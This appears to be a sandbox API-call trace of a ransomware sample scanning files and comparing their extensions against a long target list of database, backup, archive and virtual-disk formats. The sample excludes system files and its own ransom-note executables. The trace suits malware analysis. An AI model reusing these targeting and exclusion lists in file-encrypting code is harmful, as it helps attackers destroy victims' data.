	[0051.068] lstrcmpiW (lpString1="ico", lpString2="xml") returned -1
	[0051.068] lstrlenW (lpString="$er") returned 3
	[0051.068] lstrcmpiW (lpString1="ico", lpString2="$er") returned 1
	[0051.068] lstrlenW (lpString="4dd") returned 3
	[0051.068] lstrcmpiW (lpString1="ico", lpString2="4dd") returned 1
	[0051.068] lstrlenW (lpString="4dl") returned 3
	[0051.068] lstrcmpiW (lpString1="ico", lpString2="4dl") returned 1
	[0051.068] lstrlenW (lpString="^^^") returned 3
	[0051.068] lstrcmpiW (lpString1="ico", lpString2="^^^") returned 1
	[0051.068] lstrlenW (lpString="abs") returned 3
	[0051.068] lstrcmpiW (lpString1="ico", lpString2="abs") returned 1
	[0051.068] lstrlenW (lpString="abx") returned 3
	[0051.068] lstrcmpiW (lpString1="ico", lpString2="abx") returned 1
	[0051.068] lstrlenW (lpString="accdb") returned 5
	[0051.068] lstrcmpiW (lpString1="r.ico", lpString2="accdb") returned 1
	[0051.068] lstrlenW (lpString="accdc") returned 5
	[0051.068] lstrcmpiW (lpString1="r.ico", lpString2="accdc") returned 1
	[0051.068] lstrlenW (lpString="accde") returned 5
	[0051.068] lstrcmpiW (lpString1="r.ico", lpString2="accde") returned 1
	[0051.068] lstrlenW (lpString="accdr") returned 5
	[0051.068] lstrcmpiW (lpString1="r.ico", lpString2="accdr") returned 1
	[0051.068] lstrlenW (lpString="accdt") returned 5
	[0051.068] lstrcmpiW (lpString1="r.ico", lpString2="accdt") returned 1
	[0051.069] lstrlenW (lpString="accdw") returned 5
	[0051.069] lstrcmpiW (lpString1="r.ico", lpString2="accdw") returned 1
	[0051.069] lstrlenW (lpString="accft") returned 5
	[0051.069] lstrcmpiW (lpString1="r.ico", lpString2="accft") returned 1
	[0051.069] lstrlenW (lpString="adb") returned 3
	[0051.069] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1
	[0051.069] lstrlenW (lpString="adb") returned 3
	[0051.069] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1
	[0051.069] lstrlenW (lpString="ade") returned 3
	[0051.069] lstrcmpiW (lpString1="ico", lpString2="ade") returned 1
	[0051.069] lstrlenW (lpString="adf") returned 3
	[0051.069] lstrcmpiW (lpString1="ico", lpString2="adf") returned 1
	[0051.069] lstrlenW (lpString="adn") returned 3
	[0051.069] lstrcmpiW (lpString1="ico", lpString2="adn") returned 1
	[0051.069] lstrlenW (lpString="adp") returned 3
	[0051.069] lstrcmpiW (lpString1="ico", lpString2="adp") returned 1
	[0051.069] lstrlenW (lpString="alf") returned 3
	[0051.069] lstrcmpiW (lpString1="ico", lpString2="alf") returned 1
	[0051.069] lstrlenW (lpString="ask") returned 3
	[0051.069] lstrcmpiW (lpString1="ico", lpString2="ask") returned 1
	[0051.069] lstrlenW (lpString="btr") returned 3
	[0051.069] lstrcmpiW (lpString1="ico", lpString2="btr") returned 1
	[0051.069] lstrlenW (lpString="cat") returned 3
	[0051.069] lstrcmpiW (lpString1="ico", lpString2="cat") returned 1
	[0051.069] lstrlenW (lpString="cdb") returned 3
	[0051.069] lstrcmpiW (lpString1="ico", lpString2="cdb") returned 1
	[0051.069] lstrlenW (lpString="ckp") returned 3
	[0051.069] lstrcmpiW (lpString1="ico", lpString2="ckp") returned 1
	[0051.069] lstrlenW (lpString="cma") returned 3
	[0051.069] lstrcmpiW (lpString1="ico", lpString2="cma") returned 1
	[0051.069] lstrlenW (lpString="cpd") returned 3
	[0051.069] lstrcmpiW (lpString1="ico", lpString2="cpd") returned 1
	[0051.069] lstrlenW (lpString="dacpac") returned 6
	[0051.069] lstrcmpiW (lpString1="er.ico", lpString2="dacpac") returned 1
	[0051.070] lstrlenW (lpString="dad") returned 3
	[0051.070] lstrcmpiW (lpString1="ico", lpString2="dad") returned 1
	[0051.070] lstrlenW (lpString="dadiagrams") returned 10
	[0051.070] lstrlenW (lpString="daschema") returned 8
	[0051.070] lstrcmpiW (lpString1="lder.ico", lpString2="daschema") returned 1
	[0051.070] lstrlenW (lpString="db-journal") returned 10
	[0051.070] lstrlenW (lpString="db-shm") returned 6
	[0051.070] lstrcmpiW (lpString1="er.ico", lpString2="db-shm") returned 1
	[0051.070] lstrlenW (lpString="db-wal") returned 6
	[0051.070] lstrcmpiW (lpString1="er.ico", lpString2="db-wal") returned 1
	[0051.070] lstrlenW (lpString="dbc") returned 3
	[0051.070] lstrcmpiW (lpString1="ico", lpString2="dbc") returned 1
	[0051.070] lstrlenW (lpString="dbs") returned 3
	[0051.070] lstrcmpiW (lpString1="ico", lpString2="dbs") returned 1
	[0051.070] lstrlenW (lpString="dbt") returned 3
	[0051.070] lstrcmpiW (lpString1="ico", lpString2="dbt") returned 1
	[0051.070] lstrlenW (lpString="dbv") returned 3
	[0051.070] lstrcmpiW (lpString1="ico", lpString2="dbv") returned 1
	[0051.070] lstrlenW (lpString="dbx") returned 3
	[0051.070] lstrcmpiW (lpString1="ico", lpString2="dbx") returned 1
	[0051.070] lstrlenW (lpString="dcb") returned 3
	[0051.070] lstrcmpiW (lpString1="ico", lpString2="dcb") returned 1
	[0051.070] lstrlenW (lpString="dct") returned 3
	[0051.070] lstrcmpiW (lpString1="ico", lpString2="dct") returned 1
	[0051.070] lstrlenW (lpString="dcx") returned 3
	[0051.070] lstrcmpiW (lpString1="ico", lpString2="dcx") returned 1
	[0051.070] lstrlenW (lpString="ddl") returned 3
	[0051.070] lstrcmpiW (lpString1="ico", lpString2="ddl") returned 1
	[0051.070] lstrlenW (lpString="dlis") returned 4
	[0051.070] lstrcmpiW (lpString1=".ico", lpString2="dlis") returned -1
	[0051.070] lstrlenW (lpString="dp1") returned 3
	[0051.070] lstrcmpiW (lpString1="ico", lpString2="dp1") returned 1
	[0051.070] lstrlenW (lpString="dqy") returned 3
	[0051.070] lstrcmpiW (lpString1="ico", lpString2="dqy") returned 1
	[0051.070] lstrlenW (lpString="dsk") returned 3
	[0051.071] lstrcmpiW (lpString1="ico", lpString2="dsk") returned 1
	[0051.071] lstrlenW (lpString="dsn") returned 3
	[0051.071] lstrcmpiW (lpString1="ico", lpString2="dsn") returned 1
	[0051.071] lstrlenW (lpString="dtsx") returned 4
	[0051.071] lstrcmpiW (lpString1=".ico", lpString2="dtsx") returned -1
	[0051.071] lstrlenW (lpString="dxl") returned 3
	[0051.071] lstrcmpiW (lpString1="ico", lpString2="dxl") returned 1
	[0051.071] lstrlenW (lpString="eco") returned 3
	[0051.071] lstrcmpiW (lpString1="ico", lpString2="eco") returned 1
	[0051.071] lstrlenW (lpString="ecx") returned 3
	[0051.071] lstrcmpiW (lpString1="ico", lpString2="ecx") returned 1
	[0051.071] lstrlenW (lpString="edb") returned 3
	[0051.071] lstrcmpiW (lpString1="ico", lpString2="edb") returned 1
	[0051.071] lstrlenW (lpString="epim") returned 4
	[0051.071] lstrcmpiW (lpString1=".ico", lpString2="epim") returned -1
	[0051.071] lstrlenW (lpString="fcd") returned 3
	[0051.071] lstrcmpiW (lpString1="ico", lpString2="fcd") returned 1
	[0051.071] lstrlenW (lpString="fdb") returned 3
	[0051.071] lstrcmpiW (lpString1="ico", lpString2="fdb") returned 1
	[0051.071] lstrlenW (lpString="fic") returned 3
	[0051.071] lstrcmpiW (lpString1="ico", lpString2="fic") returned 1
	[0051.071] lstrlenW (lpString="flexolibrary") returned 12
	[0051.071] lstrlenW (lpString="fm5") returned 3
	[0051.071] lstrcmpiW (lpString1="ico", lpString2="fm5") returned 1
	[0051.071] lstrlenW (lpString="fmp") returned 3
	[0051.071] lstrcmpiW (lpString1="ico", lpString2="fmp") returned 1
	[0051.071] lstrlenW (lpString="fmp12") returned 5
	[0051.071] lstrcmpiW (lpString1="r.ico", lpString2="fmp12") returned 1
	[0051.071] lstrlenW (lpString="fmpsl") returned 5
	[0051.071] lstrcmpiW (lpString1="r.ico", lpString2="fmpsl") returned 1
	[0051.071] lstrlenW (lpString="fol") returned 3
	[0051.071] lstrcmpiW (lpString1="ico", lpString2="fol") returned 1
	[0051.071] lstrlenW (lpString="fp3") returned 3
	[0051.071] lstrcmpiW (lpString1="ico", lpString2="fp3") returned 1
	[0051.072] lstrlenW (lpString="fp4") returned 3
	[0051.072] lstrcmpiW (lpString1="ico", lpString2="fp4") returned 1
	[0051.072] lstrlenW (lpString="fp5") returned 3
	[0051.072] lstrcmpiW (lpString1="ico", lpString2="fp5") returned 1
	[0051.072] lstrlenW (lpString="fp7") returned 3
	[0051.072] lstrcmpiW (lpString1="ico", lpString2="fp7") returned 1
	[0051.072] lstrlenW (lpString="fpt") returned 3
	[0051.072] lstrcmpiW (lpString1="ico", lpString2="fpt") returned 1
	[0051.072] lstrlenW (lpString="frm") returned 3
	[0051.072] lstrcmpiW (lpString1="ico", lpString2="frm") returned 1
	[0051.072] lstrlenW (lpString="gdb") returned 3
	[0051.072] lstrcmpiW (lpString1="ico", lpString2="gdb") returned 1
	[0051.072] lstrlenW (lpString="gdb") returned 3
	[0051.072] lstrcmpiW (lpString1="ico", lpString2="gdb") returned 1
	[0051.072] lstrlenW (lpString="grdb") returned 4
	[0051.072] lstrcmpiW (lpString1=".ico", lpString2="grdb") returned -1
	[0051.072] lstrlenW (lpString="gwi") returned 3
	[0051.072] lstrcmpiW (lpString1="ico", lpString2="gwi") returned 1
	[0051.072] lstrlenW (lpString="hdb") returned 3
	[0051.072] lstrcmpiW (lpString1="ico", lpString2="hdb") returned 1
	[0051.072] lstrlenW (lpString="his") returned 3
	[0051.072] lstrcmpiW (lpString1="ico", lpString2="his") returned 1
	[0051.072] lstrlenW (lpString="ib") returned 2
	[0051.072] lstrcmpiW (lpString1="co", lpString2="ib") returned -1
	[0051.072] lstrlenW (lpString="idb") returned 3
	[0051.072] lstrcmpiW (lpString1="ico", lpString2="idb") returned -1
	[0051.072] lstrlenW (lpString="ihx") returned 3
	[0051.072] lstrcmpiW (lpString1="ico", lpString2="ihx") returned -1
	[0051.072] lstrlenW (lpString="itdb") returned 4
	[0051.072] lstrcmpiW (lpString1=".ico", lpString2="itdb") returned -1
	[0051.072] lstrlenW (lpString="itw") returned 3
	[0051.072] lstrcmpiW (lpString1="ico", lpString2="itw") returned -1
	[0051.072] lstrlenW (lpString="jet") returned 3
	[0051.072] lstrcmpiW (lpString1="ico", lpString2="jet") returned -1
	[0051.072] lstrlenW (lpString="jtx") returned 3
	[0051.073] lstrcmpiW (lpString1="ico", lpString2="jtx") returned -1
	[0051.073] lstrlenW (lpString="kdb") returned 3
	[0051.073] lstrcmpiW (lpString1="ico", lpString2="kdb") returned -1
	[0051.073] lstrlenW (lpString="kexi") returned 4
	[0051.073] lstrcmpiW (lpString1=".ico", lpString2="kexi") returned -1
	[0051.073] lstrlenW (lpString="kexic") returned 5
	[0051.073] lstrcmpiW (lpString1="r.ico", lpString2="kexic") returned 1
	[0051.073] lstrlenW (lpString="kexis") returned 5
	[0051.073] lstrcmpiW (lpString1="r.ico", lpString2="kexis") returned 1
	[0051.073] lstrlenW (lpString="lgc") returned 3
	[0051.073] lstrcmpiW (lpString1="ico", lpString2="lgc") returned -1
	[0051.073] lstrlenW (lpString="lwx") returned 3
	[0051.073] lstrcmpiW (lpString1="ico", lpString2="lwx") returned -1
	[0051.073] lstrlenW (lpString="maf") returned 3
	[0051.073] lstrcmpiW (lpString1="ico", lpString2="maf") returned -1
	[0051.073] lstrlenW (lpString="maq") returned 3
	[0051.073] lstrcmpiW (lpString1="ico", lpString2="maq") returned -1
	[0051.073] lstrlenW (lpString="mar") returned 3
	[0051.073] lstrcmpiW (lpString1="ico", lpString2="mar") returned -1
	[0051.073] lstrlenW (lpString="marshal") returned 7
	[0051.073] lstrcmpiW (lpString1="der.ico", lpString2="marshal") returned -1
	[0051.073] lstrlenW (lpString="mas") returned 3
	[0051.073] lstrcmpiW (lpString1="ico", lpString2="mas") returned -1
	[0051.073] lstrlenW (lpString="mav") returned 3
	[0051.073] lstrcmpiW (lpString1="ico", lpString2="mav") returned -1
	[0051.073] lstrlenW (lpString="maw") returned 3
	[0051.073] lstrcmpiW (lpString1="ico", lpString2="maw") returned -1
	[0051.073] lstrlenW (lpString="mdbhtml") returned 7
	[0051.073] lstrcmpiW (lpString1="der.ico", lpString2="mdbhtml") returned -1
	[0051.073] lstrlenW (lpString="mdn") returned 3
	[0051.073] lstrcmpiW (lpString1="ico", lpString2="mdn") returned -1
	[0051.073] lstrlenW (lpString="mdt") returned 3
	[0051.073] lstrcmpiW (lpString1="ico", lpString2="mdt") returned -1
	[0051.074] lstrlenW (lpString="mfd") returned 3
	[0051.074] lstrcmpiW (lpString1="ico", lpString2="mfd") returned -1
	[0051.074] lstrlenW (lpString="mpd") returned 3
	[0051.074] lstrcmpiW (lpString1="ico", lpString2="mpd") returned -1
	[0051.074] lstrlenW (lpString="mrg") returned 3
	[0051.074] lstrcmpiW (lpString1="ico", lpString2="mrg") returned -1
	[0051.074] lstrlenW (lpString="mud") returned 3
	[0051.074] lstrcmpiW (lpString1="ico", lpString2="mud") returned -1
	[0051.074] lstrlenW (lpString="mwb") returned 3
	[0051.074] lstrcmpiW (lpString1="ico", lpString2="mwb") returned -1
	[0051.074] lstrlenW (lpString="myd") returned 3
	[0051.074] lstrcmpiW (lpString1="ico", lpString2="myd") returned -1
	[0051.074] lstrlenW (lpString="ndf") returned 3
	[0051.074] lstrcmpiW (lpString1="ico", lpString2="ndf") returned -1
	[0051.074] lstrlenW (lpString="nnt") returned 3
	[0051.074] lstrcmpiW (lpString1="ico", lpString2="nnt") returned -1
	[0051.074] lstrlenW (lpString="nrmlib") returned 6
	[0051.074] lstrcmpiW (lpString1="er.ico", lpString2="nrmlib") returned -1
	[0051.074] lstrlenW (lpString="ns2") returned 3
	[0051.074] lstrcmpiW (lpString1="ico", lpString2="ns2") returned -1
	[0051.074] lstrlenW (lpString="ns3") returned 3
	[0051.074] lstrcmpiW (lpString1="ico", lpString2="ns3") returned -1
	[0051.074] lstrlenW (lpString="ns4") returned 3
	[0051.074] lstrcmpiW (lpString1="ico", lpString2="ns4") returned -1
	[0051.074] lstrlenW (lpString="nsf") returned 3
	[0051.074] lstrcmpiW (lpString1="ico", lpString2="nsf") returned -1
	[0051.074] lstrlenW (lpString="nv") returned 2
	[0051.074] lstrcmpiW (lpString1="co", lpString2="nv") returned -1
	[0051.074] lstrlenW (lpString="nv2") returned 3
	[0051.074] lstrcmpiW (lpString1="ico", lpString2="nv2") returned -1
	[0051.074] lstrlenW (lpString="nwdb") returned 4
	[0051.074] lstrcmpiW (lpString1=".ico", lpString2="nwdb") returned -1
	[0051.074] lstrlenW (lpString="nyf") returned 3
	[0051.074] lstrcmpiW (lpString1="ico", lpString2="nyf") returned -1
	[0051.075] lstrlenW (lpString="odb") returned 3
	[0051.075] lstrcmpiW (lpString1="ico", lpString2="odb") returned -1
	[0051.075] lstrlenW (lpString="odb") returned 3
	[0051.075] lstrcmpiW (lpString1="ico", lpString2="odb") returned -1
	[0051.075] lstrlenW (lpString="oqy") returned 3
	[0051.075] lstrcmpiW (lpString1="ico", lpString2="oqy") returned -1
	[0051.075] lstrlenW (lpString="ora") returned 3
	[0051.075] lstrcmpiW (lpString1="ico", lpString2="ora") returned -1
	[0051.075] lstrlenW (lpString="orx") returned 3
	[0051.075] lstrcmpiW (lpString1="ico", lpString2="orx") returned -1
	[0051.075] lstrlenW (lpString="owc") returned 3
	[0051.075] lstrcmpiW (lpString1="ico", lpString2="owc") returned -1
	[0051.075] lstrlenW (lpString="p96") returned 3
	[0051.075] lstrcmpiW (lpString1="ico", lpString2="p96") returned -1
	[0051.075] lstrlenW (lpString="p97") returned 3
	[0051.075] lstrcmpiW (lpString1="ico", lpString2="p97") returned -1
	[0051.075] lstrlenW (lpString="pan") returned 3
	[0051.075] lstrcmpiW (lpString1="ico", lpString2="pan") returned -1
	[0051.075] lstrlenW (lpString="pdb") returned 3
	[0051.075] lstrcmpiW (lpString1="ico", lpString2="pdb") returned -1
	[0051.075] lstrlenW (lpString="pdm") returned 3
	[0051.075] lstrcmpiW (lpString1="ico", lpString2="pdm") returned -1
	[0051.075] lstrlenW (lpString="pnz") returned 3
	[0051.075] lstrcmpiW (lpString1="ico", lpString2="pnz") returned -1
	[0051.075] lstrlenW (lpString="qry") returned 3
	[0051.075] lstrcmpiW (lpString1="ico", lpString2="qry") returned -1
	[0051.075] lstrlenW (lpString="qvd") returned 3
	[0051.075] lstrcmpiW (lpString1="ico", lpString2="qvd") returned -1
	[0051.075] lstrlenW (lpString="rbf") returned 3
	[0051.075] lstrcmpiW (lpString1="ico", lpString2="rbf") returned -1
	[0051.075] lstrlenW (lpString="rctd") returned 4
	[0051.076] lstrcmpiW (lpString1=".ico", lpString2="rctd") returned -1
	[0051.076] lstrlenW (lpString="rod") returned 3
	[0051.076] lstrcmpiW (lpString1="ico", lpString2="rod") returned -1
	[0051.076] lstrlenW (lpString="rodx") returned 4
	[0051.076] lstrcmpiW (lpString1=".ico", lpString2="rodx") returned -1
	[0051.076] lstrlenW (lpString="rpd") returned 3
	[0051.076] lstrcmpiW (lpString1="ico", lpString2="rpd") returned -1
	[0051.076] lstrlenW (lpString="rsd") returned 3
	[0051.076] lstrcmpiW (lpString1="ico", lpString2="rsd") returned -1
	[0051.076] lstrlenW (lpString="sas7bdat") returned 8
	[0051.076] lstrcmpiW (lpString1="lder.ico", lpString2="sas7bdat") returned -1
	[0051.076] lstrlenW (lpString="sbf") returned 3
	[0051.076] lstrcmpiW (lpString1="ico", lpString2="sbf") returned -1
	[0051.076] lstrlenW (lpString="scx") returned 3
	[0051.076] lstrcmpiW (lpString1="ico", lpString2="scx") returned -1
	[0051.076] lstrlenW (lpString="sdb") returned 3
	[0051.076] lstrcmpiW (lpString1="ico", lpString2="sdb") returned -1
	[0051.076] lstrlenW (lpString="sdc") returned 3
	[0051.076] lstrcmpiW (lpString1="ico", lpString2="sdc") returned -1
	[0051.076] lstrlenW (lpString="sdf") returned 3
	[0051.076] lstrcmpiW (lpString1="ico", lpString2="sdf") returned -1
	[0051.076] lstrlenW (lpString="sis") returned 3
	[0051.076] lstrcmpiW (lpString1="ico", lpString2="sis") returned -1
	[0051.076] lstrlenW (lpString="spq") returned 3
	[0051.076] lstrcmpiW (lpString1="ico", lpString2="spq") returned -1
	[0051.076] lstrlenW (lpString="te") returned 2
	[0051.076] lstrcmpiW (lpString1="co", lpString2="te") returned -1
	[0051.076] lstrlenW (lpString="teacher") returned 7
	[0051.076] lstrcmpiW (lpString1="der.ico", lpString2="teacher") returned -1
	[0051.076] lstrlenW (lpString="tmd") returned 3
	[0051.076] lstrcmpiW (lpString1="ico", lpString2="tmd") returned -1
	[0051.076] lstrlenW (lpString="tps") returned 3
	[0051.076] lstrcmpiW (lpString1="ico", lpString2="tps") returned -1
	[0051.076] lstrlenW (lpString="trc") returned 3
	[0051.076] lstrcmpiW (lpString1="ico", lpString2="trc") returned -1
	[0051.077] lstrlenW (lpString="trc") returned 3
	[0051.077] lstrcmpiW (lpString1="ico", lpString2="trc") returned -1
	[0051.077] lstrlenW (lpString="trm") returned 3
	[0051.077] lstrcmpiW (lpString1="ico", lpString2="trm") returned -1
	[0051.077] lstrlenW (lpString="udb") returned 3
	[0051.077] lstrcmpiW (lpString1="ico", lpString2="udb") returned -1
	[0051.077] lstrlenW (lpString="udl") returned 3
	[0051.077] lstrcmpiW (lpString1="ico", lpString2="udl") returned -1
	[0051.077] lstrlenW (lpString="usr") returned 3
	[0051.077] lstrcmpiW (lpString1="ico", lpString2="usr") returned -1
	[0051.077] lstrlenW (lpString="v12") returned 3
	[0051.077] lstrcmpiW (lpString1="ico", lpString2="v12") returned -1
	[0051.077] lstrlenW (lpString="vis") returned 3
	[0051.077] lstrcmpiW (lpString1="ico", lpString2="vis") returned -1
	[0051.077] lstrlenW (lpString="vpd") returned 3
	[0051.077] lstrcmpiW (lpString1="ico", lpString2="vpd") returned -1
	[0051.077] lstrlenW (lpString="vvv") returned 3
	[0051.077] lstrcmpiW (lpString1="ico", lpString2="vvv") returned -1
	[0051.077] lstrlenW (lpString="wdb") returned 3
	[0051.077] lstrcmpiW (lpString1="ico", lpString2="wdb") returned -1
	[0051.077] lstrlenW (lpString="wmdb") returned 4
	[0051.077] lstrcmpiW (lpString1=".ico", lpString2="wmdb") returned -1
	[0051.077] lstrlenW (lpString="wrk") returned 3
	[0051.077] lstrcmpiW (lpString1="ico", lpString2="wrk") returned -1
	[0051.077] lstrlenW (lpString="xdb") returned 3
	[0051.077] lstrcmpiW (lpString1="ico", lpString2="xdb") returned -1
	[0051.077] lstrlenW (lpString="xld") returned 3
	[0051.077] lstrcmpiW (lpString1="ico", lpString2="xld") returned -1
	[0051.077] lstrlenW (lpString="xmlff") returned 5
	[0051.077] lstrcmpiW (lpString1="r.ico", lpString2="xmlff") returned -1
	[0051.077] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fd82e70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fd82e70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.077] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.077] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2db04ce, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2db04ce, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x72ee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="netfol.ico", cAlternateFileName="")) returned 1
	[0051.078] lstrcmpiW (lpString1="netfol.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.078] lstrcmpiW (lpString1="netfol.ico", lpString2="Apollon865.txt.exe") returned 1
	[0051.078] lstrcmpiW (lpString1="netfol.ico", lpString2=".") returned 1
	[0051.078] lstrcmpiW (lpString1="netfol.ico", lpString2="..") returned 1
	[0051.078] lstrcmpiW (lpString1="netfol.ico", lpString2="windows") returned -1
	[0051.078] lstrcmpiW (lpString1="netfol.ico", lpString2="bootmgr") returned 1
	[0051.078] lstrcmpiW (lpString1="netfol.ico", lpString2="temp") returned -1
	[0051.078] lstrcmpiW (lpString1="netfol.ico", lpString2="pagefile.sys") returned -1
	[0051.078] lstrcmpiW (lpString1="netfol.ico", lpString2="boot") returned 1
	[0051.078] lstrcmpiW (lpString1="netfol.ico", lpString2="ids.txt") returned 1
	[0051.078] lstrcmpiW (lpString1="netfol.ico", lpString2="ntuser.dat") returned -1
	[0051.078] lstrcmpiW (lpString1="netfol.ico", lpString2="perflogs") returned -1
	[0051.078] lstrcmpiW (lpString1="netfol.ico", lpString2="MSBuild") returned 1
	[0051.078] lstrlenW (lpString="netfol.ico") returned 10
	[0051.078] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico") returned 92
	[0051.078] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="netfol.ico" | out: lpString1="netfol.ico") returned="netfol.ico"
	[0051.078] lstrlenW (lpString="netfol.ico") returned 10
	[0051.078] lstrlenW (lpString="Apollon865") returned 10
	[0051.078] lstrlenW (lpString=".dll") returned 4
	[0051.078] lstrcmpiW (lpString1="netfol.ico", lpString2=".dll") returned 1
	[0051.078] lstrlenW (lpString=".lnk") returned 4
	[0051.078] lstrcmpiW (lpString1="netfol.ico", lpString2=".lnk") returned 1
	[0051.078] lstrlenW (lpString=".ini") returned 4
	[0051.078] lstrcmpiW (lpString1="netfol.ico", lpString2=".ini") returned 1
	[0051.078] lstrlenW (lpString=".sys") returned 4
	[0051.078] lstrcmpiW (lpString1="netfol.ico", lpString2=".sys") returned 1
	[0051.078] lstrlenW (lpString="netfol.ico") returned 10
	[0051.078] lstrlenW (lpString="bak") returned 3
	[0051.078] lstrcmpiW (lpString1="ico", lpString2="bak") returned 1
	[0051.078] lstrlenW (lpString="ba_") returned 3
	[0051.078] lstrcmpiW (lpString1="ico", lpString2="ba_") returned 1
	[0051.078] lstrlenW (lpString="dbb") returned 3
	[0051.078] lstrcmpiW (lpString1="ico", lpString2="dbb") returned 1
	[0051.078] lstrlenW (lpString="vmdk") returned 4
	[0051.079] lstrcmpiW (lpString1=".ico", lpString2="vmdk") returned -1
	[0051.079] lstrlenW (lpString="rar") returned 3
	[0051.079] lstrcmpiW (lpString1="ico", lpString2="rar") returned -1
	[0051.079] lstrlenW (lpString="zip") returned 3
	[0051.079] lstrcmpiW (lpString1="ico", lpString2="zip") returned -1
	[0051.079] lstrlenW (lpString="tgz") returned 3
	[0051.079] lstrcmpiW (lpString1="ico", lpString2="tgz") returned -1
	[0051.079] lstrlenW (lpString="vbox") returned 4
	[0051.079] lstrcmpiW (lpString1=".ico", lpString2="vbox") returned -1
	[0051.079] lstrlenW (lpString="vdi") returned 3
	[0051.079] lstrcmpiW (lpString1="ico", lpString2="vdi") returned -1
	[0051.079] lstrlenW (lpString="vhd") returned 3
	[0051.079] lstrcmpiW (lpString1="ico", lpString2="vhd") returned -1
	[0051.079] lstrlenW (lpString="vhdx") returned 4
	[0051.079] lstrcmpiW (lpString1=".ico", lpString2="vhdx") returned -1
	[0051.079] lstrlenW (lpString="avhd") returned 4
	[0051.079] lstrcmpiW (lpString1=".ico", lpString2="avhd") returned -1
	[0051.079] lstrlenW (lpString="db") returned 2
	[0051.079] lstrcmpiW (lpString1="co", lpString2="db") returned -1
	[0051.079] lstrlenW (lpString="db2") returned 3
	[0051.079] lstrcmpiW (lpString1="ico", lpString2="db2") returned 1
	[0051.079] lstrlenW (lpString="db3") returned 3
	[0051.079] lstrcmpiW (lpString1="ico", lpString2="db3") returned 1
	[0051.079] lstrlenW (lpString="dbf") returned 3
	[0051.079] lstrcmpiW (lpString1="ico", lpString2="dbf") returned 1
	[0051.079] lstrlenW (lpString="mdf") returned 3
	[0051.079] lstrcmpiW (lpString1="ico", lpString2="mdf") returned -1
	[0051.079] lstrlenW (lpString="mdb") returned 3
	[0051.079] lstrcmpiW (lpString1="ico", lpString2="mdb") returned -1
	[0051.079] lstrlenW (lpString="sql") returned 3
	[0051.079] lstrcmpiW (lpString1="ico", lpString2="sql") returned -1
	[0051.079] lstrlenW (lpString="sqlite") returned 6
	[0051.079] lstrcmpiW (lpString1="ol.ico", lpString2="sqlite") returned -1
	[0051.079] lstrlenW (lpString="sqlite3") returned 7
	[0051.080] lstrcmpiW (lpString1="fol.ico", lpString2="sqlite3") returned -1
	[0051.080] lstrlenW (lpString="sqlitedb") returned 8
	[0051.080] lstrcmpiW (lpString1="tfol.ico", lpString2="sqlitedb") returned 1
	[0051.080] lstrlenW (lpString="xml") returned 3
	[0051.080] lstrcmpiW (lpString1="ico", lpString2="xml") returned -1
	[0051.080] lstrlenW (lpString="$er") returned 3
	[0051.080] lstrcmpiW (lpString1="ico", lpString2="$er") returned 1
	[0051.080] lstrlenW (lpString="4dd") returned 3
	[0051.080] lstrcmpiW (lpString1="ico", lpString2="4dd") returned 1
	[0051.080] lstrlenW (lpString="4dl") returned 3
	[0051.080] lstrcmpiW (lpString1="ico", lpString2="4dl") returned 1
	[0051.080] lstrlenW (lpString="^^^") returned 3
	[0051.080] lstrcmpiW (lpString1="ico", lpString2="^^^") returned 1
	[0051.080] lstrlenW (lpString="abs") returned 3
	[0051.080] lstrcmpiW (lpString1="ico", lpString2="abs") returned 1
	[0051.080] lstrlenW (lpString="abx") returned 3
	[0051.080] lstrcmpiW (lpString1="ico", lpString2="abx") returned 1
	[0051.080] lstrlenW (lpString="accdb") returned 5
	[0051.080] lstrcmpiW (lpString1="l.ico", lpString2="accdb") returned 1
	[0051.080] lstrlenW (lpString="accdc") returned 5
	[0051.080] lstrcmpiW (lpString1="l.ico", lpString2="accdc") returned 1
	[0051.080] lstrlenW (lpString="accde") returned 5
	[0051.080] lstrcmpiW (lpString1="l.ico", lpString2="accde") returned 1
	[0051.080] lstrlenW (lpString="accdr") returned 5
	[0051.080] lstrcmpiW (lpString1="l.ico", lpString2="accdr") returned 1
	[0051.080] lstrlenW (lpString="accdt") returned 5
	[0051.080] lstrcmpiW (lpString1="l.ico", lpString2="accdt") returned 1
	[0051.080] lstrlenW (lpString="accdw") returned 5
	[0051.080] lstrcmpiW (lpString1="l.ico", lpString2="accdw") returned 1
	[0051.080] lstrlenW (lpString="accft") returned 5
	[0051.080] lstrcmpiW (lpString1="l.ico", lpString2="accft") returned 1
	[0051.080] lstrlenW (lpString="adb") returned 3
	[0051.080] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1
	[0051.080] lstrlenW (lpString="adb") returned 3
	[0051.080] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1
	[0051.081] lstrlenW (lpString="ade") returned 3
	[0051.081] lstrcmpiW (lpString1="ico", lpString2="ade") returned 1
	[0051.081] lstrlenW (lpString="adf") returned 3
	[0051.081] lstrcmpiW (lpString1="ico", lpString2="adf") returned 1
	[0051.081] lstrlenW (lpString="adn") returned 3
